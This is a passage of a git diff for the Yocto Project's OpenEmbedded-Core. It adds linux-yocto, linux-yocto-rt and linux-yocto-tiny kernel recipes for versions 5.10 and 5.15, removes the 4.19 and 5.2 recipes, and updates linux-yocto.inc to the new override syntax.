+
+# Skip processing of this recipe if it is not explicitly specified as the
+# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
+# to build multiple virtual/kernel providers, e.g. as dependency of
+# core-image-rt-sdk, core-image-rt.
+python () {
+ if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
+ raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
+}
+
+SRCREV_machine ?= "abd24ddc62072fcc5ecf12cf8feadd2e6fda59bd"
+SRCREV_meta ?= "792f1272dd0d68d5dba0ff35949b2094f818227e"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.10;destsuffix=${KMETA}"
+
+LINUX_VERSION ?= "5.10.103"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+LINUX_KERNEL_TYPE = "preempt-rt"
+
+COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_5.15.bb b/meta/recipes-kernel/linux/linux-yocto-rt_5.15.bb
new file mode 100644
index 0000000000..ebd811c7bd
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-rt_5.15.bb
@@ -0,0 +1,45 @@
+KBRANCH ?= "v5.15/standard/preempt-rt/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# Skip processing of this recipe if it is not explicitly specified as the
+# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
+# to build multiple virtual/kernel providers, e.g. as dependency of
+# core-image-rt-sdk, core-image-rt.
+python () {
+ if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
+ raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
+}
+
+SRCREV_machine ?= "d6781443bac8b711a2c55898223dab38f2ed5896"
+SRCREV_meta ?= "ea948a0983d7b7820814e5bce4eda3079201bd95"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.15;destsuffix=${KMETA}"
+
+LINUX_VERSION ?= "5.15.26"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+LINUX_KERNEL_TYPE = "preempt-rt"
+
+COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_5.2.bb b/meta/recipes-kernel/linux/linux-yocto-rt_5.2.bb
deleted file mode 100644
index 423331e19a..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto-rt_5.2.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-KBRANCH ?= "v5.2/standard/preempt-rt/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# Skip processing of this recipe if it is not explicitly specified as the
-# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
-# to build multiple virtual/kernel providers, e.g. as dependency of
-# core-image-rt-sdk, core-image-rt.
-python () {
- if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
- raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
-}
-
-SRCREV_machine ?= "55e3ee387b073d8d609e8899859561340d8b6911"
-SRCREV_meta ?= "bd0762cd138f1624b5a5f8669cfa3ac2b71cb87b"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.2;destsuffix=${KMETA}"
-
-LINUX_VERSION ?= "5.2.20"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-LINUX_KERNEL_TYPE = "preempt-rt"
-
-COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)"
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "" ,d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_4.19.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_4.19.bb
deleted file mode 100644
index 0682aef50d..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto-tiny_4.19.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-KBRANCH ?= "v4.19/standard/tiny/base"
-KBRANCH_qemuarm ?= "v4.19/standard/tiny/arm-versatile-926ejs"
-
-LINUX_KERNEL_TYPE = "tiny"
-KCONFIG_MODE = "--allnoconfig"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-LINUX_VERSION ?= "4.19.78"
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-SRCREV_machine_qemuarm ?= "be50001808f00efee538c2a3e7c0a5a2a2df65da"
-SRCREV_machine ?= "a915fbeae8ed987402f69666d90bef15a01c5823"
-SRCREV_meta ?= "ad6f8b357720ca8167a090713b7746230cf4b314"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-4.19;destsuffix=${KMETA}"
-
-COMPATIBLE_MACHINE = "qemux86|qemux86-64|qemuarm|qemuarmv5"
-
-# Functionality flags
-KERNEL_FEATURES = ""
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_5.10.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_5.10.bb
new file mode 100644
index 0000000000..9e954e45de
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-tiny_5.10.bb
@@ -0,0 +1,32 @@
+KBRANCH ?= "v5.10/standard/tiny/base"
+KBRANCH:qemuarm ?= "v5.10/standard/tiny/arm-versatile-926ejs"
+
+LINUX_KERNEL_TYPE = "tiny"
+KCONFIG_MODE = "--allnoconfig"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+LINUX_VERSION ?= "5.10.103"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "2"
+
+SRCREV_machine:qemuarm ?= "682b9a24accb1e3a305957dec28f7f565db95369"
+SRCREV_machine ?= "5e844e753c3e1f153af9dfee6b88e5dc1e57f30f"
+SRCREV_meta ?= "792f1272dd0d68d5dba0ff35949b2094f818227e"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.10;destsuffix=${KMETA}"
+
+COMPATIBLE_MACHINE = "qemux86|qemux86-64|qemuarm|qemuarmv5"
+
+# Functionality flags
+KERNEL_FEATURES = ""
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_5.15.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_5.15.bb
new file mode 100644
index 0000000000..244b907cd8
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-tiny_5.15.bb
@@ -0,0 +1,32 @@
+KBRANCH ?= "v5.15/standard/tiny/base"
+KBRANCH:qemuarm ?= "v5.15/standard/tiny/arm-versatile-926ejs"
+
+LINUX_KERNEL_TYPE = "tiny"
+KCONFIG_MODE = "--allnoconfig"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+LINUX_VERSION ?= "5.15.26"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "2"
+
+SRCREV_machine:qemuarm ?= "000e76cff61c46e4a89c253d499bb92433807196"
+SRCREV_machine ?= "ba4a30c056f9fbb4286f9a79cd574025bae86c8f"
+SRCREV_meta ?= "ea948a0983d7b7820814e5bce4eda3079201bd95"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.15;destsuffix=${KMETA}"
+
+COMPATIBLE_MACHINE = "qemux86|qemux86-64|qemuarm|qemuarmv5"
+
+# Functionality flags
+KERNEL_FEATURES = ""
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_5.2.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_5.2.bb
deleted file mode 100644
index f7239d0229..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto-tiny_5.2.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-KBRANCH ?= "v5.2/standard/tiny/base"
-KBRANCH_qemuarm ?= "v5.2/standard/tiny/arm-versatile-926ejs"
-
-LINUX_KERNEL_TYPE = "tiny"
-KCONFIG_MODE = "--allnoconfig"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-LINUX_VERSION ?= "5.2.20"
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-SRCREV_machine_qemuarm ?= "501d680535903acc00808c36f2cc07f2dc725adc"
-SRCREV_machine ?= "dd25a04fc5e2e4549fc9b86157a01e0c72b53b03"
-SRCREV_meta ?= "bd0762cd138f1624b5a5f8669cfa3ac2b71cb87b"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.2;destsuffix=${KMETA}"
-
-COMPATIBLE_MACHINE = "qemux86|qemux86-64|qemuarm|qemuarmv5"
-
-# Functionality flags
-KERNEL_FEATURES = ""
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto.inc b/meta/recipes-kernel/linux/linux-yocto.inc
index f191946f2a..cabc8f4975 100644
--- a/meta/recipes-kernel/linux/linux-yocto.inc
+++ b/meta/recipes-kernel/linux/linux-yocto.inc
@@ -1,12 +1,13 @@
SUMMARY = "Linux kernel"
SECTION = "kernel"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
+HOMEPAGE = "https://www.yoctoproject.org/"
LIC_FILES_CHKSUM ?= "file://COPYING;md5=d7810fab7487fb0aad327b76f1be7cd7"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+(\.\d+)*)"
-INC_PR = "r4"
+RECIPE_NO_UPDATE_REASON = "Recipe is updated through a separate process"
# Skip processing of this recipe if it is not explicitly specified as the
# PREFERRED_PROVIDER for virtual/kernel. This avoids network access required
@@ -18,61 +19,54 @@ python () {
}
DEPENDS += "xz-native bc-native"
-DEPENDS_append_aarch64 = " libgcc"
-KERNEL_CC_append_aarch64 = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_LD_append_aarch64 = " ${TOOLCHAIN_OPTIONS}"
+DEPENDS:append:aarch64 = " libgcc"
+KERNEL_CC:append:aarch64 = " ${TOOLCHAIN_OPTIONS}"
+KERNEL_LD:append:aarch64 = " ${TOOLCHAIN_OPTIONS}"
-DEPENDS_append_nios2 = " libgcc"
-KERNEL_CC_append_nios2 = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_LD_append_nios2 = " ${TOOLCHAIN_OPTIONS}"
+DEPENDS:append:nios2 = " libgcc"
+KERNEL_CC:append:nios2 = " ${TOOLCHAIN_OPTIONS}"
+KERNEL_LD:append:nios2 = " ${TOOLCHAIN_OPTIONS}"
-DEPENDS_append_arc = " libgcc"
-KERNEL_CC_append_arc = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_LD_append_arc = " ${TOOLCHAIN_OPTIONS}"
+DEPENDS:append:arc = " libgcc"
+KERNEL_CC:append:arc = " ${TOOLCHAIN_OPTIONS}"
+KERNEL_LD:append:arc = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_FEATURES_append_qemuall=" features/debug/printk.scc"
+KERNEL_FEATURES:append:qemuall=" features/debug/printk.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains('MACHINE_FEATURES', 'numa', 'features/numa/numa.scc', '', d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains('MACHINE_FEATURES', 'numa', 'features/numa/numa.scc', '', d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains('MACHINE_FEATURES', 'vfat', 'cfg/fs/vfat.scc', '', d)}"
# A KMACHINE is the mapping of a yocto $MACHINE to what is built
# by the kernel. This is typically the branch that should be built,
# and it can be specific to the machine or shared
# KMACHINE = "UNDEFINED"
-# The distro or local.conf should set this, but if nobody cares...
-LINUX_KERNEL_TYPE ??= "standard"
-
-# KMETA ?= ""
-KBRANCH ?= "master"
-KMACHINE ?= "${MACHINE}"
-SRCREV_FORMAT ?= "meta_machine"
-
-# LEVELS:
-# 0: no reporting
-# 1: report options that are specified, but not in the final config
-# 2: report options that are not hardware related, but set by a BSP
-KCONF_AUDIT_LEVEL ?= "1"
-KCONF_BSP_AUDIT_LEVEL ?= "0"
-KMETA_AUDIT ?= "yes"
-
LINUX_VERSION_EXTENSION ??= "-yocto-${LINUX_KERNEL_TYPE}"
# Pick up shared functions
inherit kernel
inherit kernel-yocto
+inherit pkgconfig
B = "${WORKDIR}/linux-${PACKAGE_ARCH}-${LINUX_KERNEL_TYPE}-build"
-do_install_append(){
+do_install:append(){
if [ -n "${KMETA}" ]; then
rm -rf ${STAGING_KERNEL_DIR}/${KMETA}
fi
}
-# extra tasks
-addtask kernel_version_sanity_check after do_kernel_metadata do_kernel_checkout before do_compile
-addtask validate_branches before do_patch after do_kernel_checkout
-addtask kernel_configcheck after do_configure before do_compile
-
# enable kernel-sample for oeqa/runtime/cases's ksample.py test
-KERNEL_FEATURES_append_qemuall=" features/kernel-sample/kernel-sample.scc"
+KERNEL_FEATURES:append:qemuall=" features/kernel-sample/kernel-sample.scc"
+
+KERNEL_DEBUG_OPTIONS ?= "stack"
+KERNEL_EXTRA_ARGS:append:x86-64 = "${@bb.utils.contains('KERNEL_DEBUG_OPTIONS', 'stack', 'HOST_LIBELF_LIBS="-L${RECIPE_SYSROOT_NATIVE}/usr/lib/pkgconfig/../../../usr/lib/ -lelf"', '', d)}"
+
+do_devshell:prepend() {
+ # setup native pkg-config variables (kconfig scripts call pkg-config directly, cannot generically be overriden to pkg-config-native)
+ d.setVar("PKG_CONFIG_DIR", "${STAGING_DIR_NATIVE}${libdir_native}/pkgconfig")
+ d.setVar("PKG_CONFIG_PATH", "${PKG_CONFIG_DIR}:${STAGING_DATADIR_NATIVE}/pkgconfig")
+ d.setVar("PKG_CONFIG_LIBDIR", "${PKG_CONFIG_DIR}")
+ d.setVarFlag("PKG_CONFIG_SYSROOT_DIR", "unexport", "1")
+ d.appendVar("OE_TERMINAL_EXPORTS", " PKG_CONFIG_DIR PKG_CONFIG_PATH PKG_CONFIG_LIBDIR PKG_CONFIG_SYSROOT_DIR")
+}
diff --git a/meta/recipes-kernel/linux/linux-yocto_4.19.bb b/meta/recipes-kernel/linux/linux-yocto_4.19.bb
deleted file mode 100644
index d8cb20f2f2..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto_4.19.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-KBRANCH ?= "v4.19/standard/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# board specific branches
-KBRANCH_qemuarm ?= "v4.19/standard/arm-versatile-926ejs"
-KBRANCH_qemuarm64 ?= "v4.19/standard/qemuarm64"
-KBRANCH_qemumips ?= "v4.19/standard/mti-malta32"
-KBRANCH_qemuppc ?= "v4.19/standard/qemuppc"
-KBRANCH_qemux86 ?= "v4.19/standard/base"
-KBRANCH_qemux86-64 ?= "v4.19/standard/base"
-KBRANCH_qemumips64 ?= "v4.19/standard/mti-malta64"
-
-SRCREV_machine_qemuarm ?= "7fde51abcaf389193ce5d87ebfb8e8fb66a9271a"
-SRCREV_machine_qemuarm64 ?= "a915fbeae8ed987402f69666d90bef15a01c5823"
-SRCREV_machine_qemumips ?= "8ac68d42beb24b275ac0d2a54a0a2291970e5dde"
-SRCREV_machine_qemuppc ?= "a915fbeae8ed987402f69666d90bef15a01c5823"
-SRCREV_machine_qemux86 ?= "a915fbeae8ed987402f69666d90bef15a01c5823"
-SRCREV_machine_qemux86-64 ?= "a915fbeae8ed987402f69666d90bef15a01c5823"
-SRCREV_machine_qemumips64 ?= "ea2cb8731306f734bf0227575e04cafac7dfade0"
-SRCREV_machine ?= "a915fbeae8ed987402f69666d90bef15a01c5823"
-SRCREV_meta ?= "ad6f8b357720ca8167a090713b7746230cf4b314"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH}; \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-4.19;destsuffix=${KMETA} \
- "
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-LINUX_VERSION ?= "4.19.78"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
-
-COMPATIBLE_MACHINE = "qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemumips|qemumips64|qemux86-64"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "" ,d)}"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "" ,d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto_5.10.bb b/meta/recipes-kernel/linux/linux-yocto_5.10.bb
new file mode 100644
index 0000000000..86d9559469
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto_5.10.bb
@@ -0,0 +1,58 @@
+KBRANCH ?= "v5.10/standard/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# board specific branches
+KBRANCH:qemuarm ?= "v5.10/standard/arm-versatile-926ejs"
+KBRANCH:qemuarm64 ?= "v5.10/standard/qemuarm64"
+KBRANCH:qemumips ?= "v5.10/standard/mti-malta32"
+KBRANCH:qemuppc ?= "v5.10/standard/qemuppc"
+KBRANCH:qemuriscv64 ?= "v5.10/standard/base"
+KBRANCH:qemuriscv32 ?= "v5.10/standard/base"
+KBRANCH:qemux86 ?= "v5.10/standard/base"
+KBRANCH:qemux86-64 ?= "v5.10/standard/base"
+KBRANCH:qemumips64 ?= "v5.10/standard/mti-malta64"
+
+SRCREV_machine:qemuarm ?= "56cfcfb12870782355bacaf8bcde9e268f422140"
+SRCREV_machine:qemuarm64 ?= "3aab5bb12bc180d582a6f82e4a085f45a7b0c283"
+SRCREV_machine:qemumips ?= "d76ec4c19a876a3235567ab2cee2e33f2875f79a"
+SRCREV_machine:qemuppc ?= "513a8885de593e8b1f3c24595c015bb9b1d55563"
+SRCREV_machine:qemuriscv64 ?= "de1b3b1aef1a5c3dec0676e152f6801e1cc309e5"
+SRCREV_machine:qemuriscv32 ?= "de1b3b1aef1a5c3dec0676e152f6801e1cc309e5"
+SRCREV_machine:qemux86 ?= "de1b3b1aef1a5c3dec0676e152f6801e1cc309e5"
+SRCREV_machine:qemux86-64 ?= "de1b3b1aef1a5c3dec0676e152f6801e1cc309e5"
+SRCREV_machine:qemumips64 ?= "b63b87635569c07343f25194abf008f1e27c0bca"
+SRCREV_machine ?= "de1b3b1aef1a5c3dec0676e152f6801e1cc309e5"
+SRCREV_meta ?= "792f1272dd0d68d5dba0ff35949b2094f818227e"
+
+# remap qemuarm to qemuarma15 for the 5.8 kernel
+# KMACHINE:qemuarm ?= "qemuarma15"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH}; \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.10;destsuffix=${KMETA}"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+LINUX_VERSION ?= "5.10.103"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+DEPENDS += "gmp-native libmpc-native"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+
+COMPATIBLE_MACHINE = "qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemuppc64|qemumips|qemumips64|qemux86-64|qemuriscv64|qemuriscv32"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto_5.15.bb b/meta/recipes-kernel/linux/linux-yocto_5.15.bb
new file mode 100644
index 0000000000..6965df13bb
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto_5.15.bb
@@ -0,0 +1,70 @@
+KBRANCH ?= "v5.15/standard/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# board specific branches
+KBRANCH:qemuarm ?= "v5.15/standard/arm-versatile-926ejs"
+KBRANCH:qemuarm64 ?= "v5.15/standard/qemuarm64"
+KBRANCH:qemumips ?= "v5.15/standard/mti-malta32"
+KBRANCH:qemuppc ?= "v5.15/standard/qemuppc"
+KBRANCH:qemuriscv64 ?= "v5.15/standard/base"
+KBRANCH:qemuriscv32 ?= "v5.15/standard/base"
+KBRANCH:qemux86 ?= "v5.15/standard/base"
+KBRANCH:qemux86-64 ?= "v5.15/standard/base"
+KBRANCH:qemumips64 ?= "v5.15/standard/mti-malta64"
+
+SRCREV_machine:qemuarm ?= "af65cb567e671fb5eea7224f9252a9cdfd37f7d0"
+SRCREV_machine:qemuarm64 ?= "6101a726c5cfd4c995f9ed3cec3dadc593f1765b"
+SRCREV_machine:qemumips ?= "24b1491fde2da59de37bf4b43e49e4d9725a700e"
+SRCREV_machine:qemuppc ?= "09492ed54dade6f3e646b31be5e70b07b0c22755"
+SRCREV_machine:qemuriscv64 ?= "5bd4bda819e9c9736b3ab14e9295b8166c61b6a4"
+SRCREV_machine:qemuriscv32 ?= "5bd4bda819e9c9736b3ab14e9295b8166c61b6a4"
+SRCREV_machine:qemux86 ?= "5bd4bda819e9c9736b3ab14e9295b8166c61b6a4"
+SRCREV_machine:qemux86-64 ?= "5bd4bda819e9c9736b3ab14e9295b8166c61b6a4"
+SRCREV_machine:qemumips64 ?= "98e983921ddecb99fe11439c033273b90cc5d413"
+SRCREV_machine ?= "5bd4bda819e9c9736b3ab14e9295b8166c61b6a4"
+SRCREV_meta ?= "ea948a0983d7b7820814e5bce4eda3079201bd95"
+
+# set your preferred provider of linux-yocto to 'linux-yocto-upstream', and you'll
+# get the <version>/base branch, which is pure upstream -stable, and the same
+# meta SRCREV as the linux-yocto-standard builds. Select your version using the
+# normal PREFERRED_VERSION settings.
+BBCLASSEXTEND = "devupstream:target"
+SRCREV_machine:class-devupstream ?= "8993e6067f263765fd26edabf3e3012e3ec4d81e"
+PN:class-devupstream = "linux-yocto-upstream"
+KBRANCH:class-devupstream = "v5.15/base"
+
+# remap qemuarm to qemuarma15 for the 5.8 kernel
+# KMACHINE:qemuarm ?= "qemuarma15"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH}; \
